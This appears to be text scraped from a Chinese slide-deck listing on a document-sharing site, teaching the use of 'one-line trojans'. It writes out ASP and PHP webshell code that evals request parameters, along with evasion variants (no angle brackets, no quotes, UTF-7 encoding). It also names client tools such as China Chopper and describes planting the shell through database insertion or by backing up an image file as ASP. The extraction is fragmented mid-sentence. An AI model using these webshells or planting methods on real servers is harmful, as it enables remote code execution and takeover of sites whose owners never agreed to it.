《句话木马的使用》PPT课件.pptx

《《句话木马的使用》PPT课件.pptx》由会员上传分享，免费在线阅读，更多相关内容在教育资源-天天文库。

1、一句话木马的使用常见一句话木马asp一句话木马：<%execute(request("value"))%><%evalrequest("value")%>php一句话木马：aspx一句话木马：WebAdmin2Y.x.yaaaaa=newWebAdmin2Y.x.y("add6bb58e139be10");其它形式的一句话木马不用‘<,>’的asp一句话木马：

2、criptrunat=server>executerequest("value")不用双引号的一句话木马：<%evalrequest(chr(35))%>UTF-7编码加密:<%@codepage=65000%><%response.Charset=”936″%><%e+j-x+j-e+j-c+j-u+j-t+j-e+j-(+j-r+j-e+j-q+j-u+j-e+j-s+j-t+j-(+j-+ACI-#+ACI)+j-)+j-%>一句话最常用的客户端一句话客户端增强版中国菜刀lanker一句话客户端ZV新型PHP一句

3、话木马客户端GUI版一句话木马客户端代码解释eval(Request.form('#')+'')其中JavaScript脚本的开始标记,其中RUNAT属性的值SERVER表示脚本将在服务器端运行,后面的eval是一句话木马的精华部分,使用eval方法的话它里面的字符串将会被执行,这样当脚本在服务器端运行的时候同时也执行了Request.form(‘#’)+‘’这句代

4、码,Request.form(‘#’)的作用是读取客户端文件中html标记属性中name值被命名为#的部分。两种使用方法一、把一句话木马插入asp数据库里，然后用一句话木马客服端连接二、利用数据库备份的功能，把jpg备份成asp,在利用一句话木马客服端连接禁用一句话木马一句话木马能成功的条件依赖于两个条件:一、服务器端没有禁止Adodb.Stream组件，使用一句话木马写入大马代码的条件是服务器端创建Adodb.Stream组件，如果该组件被禁用，不会写入成功的！二、权限问题，如果当前的虚拟目录禁止user组或者everyone写入操作

5、的话那么也是不会成功的。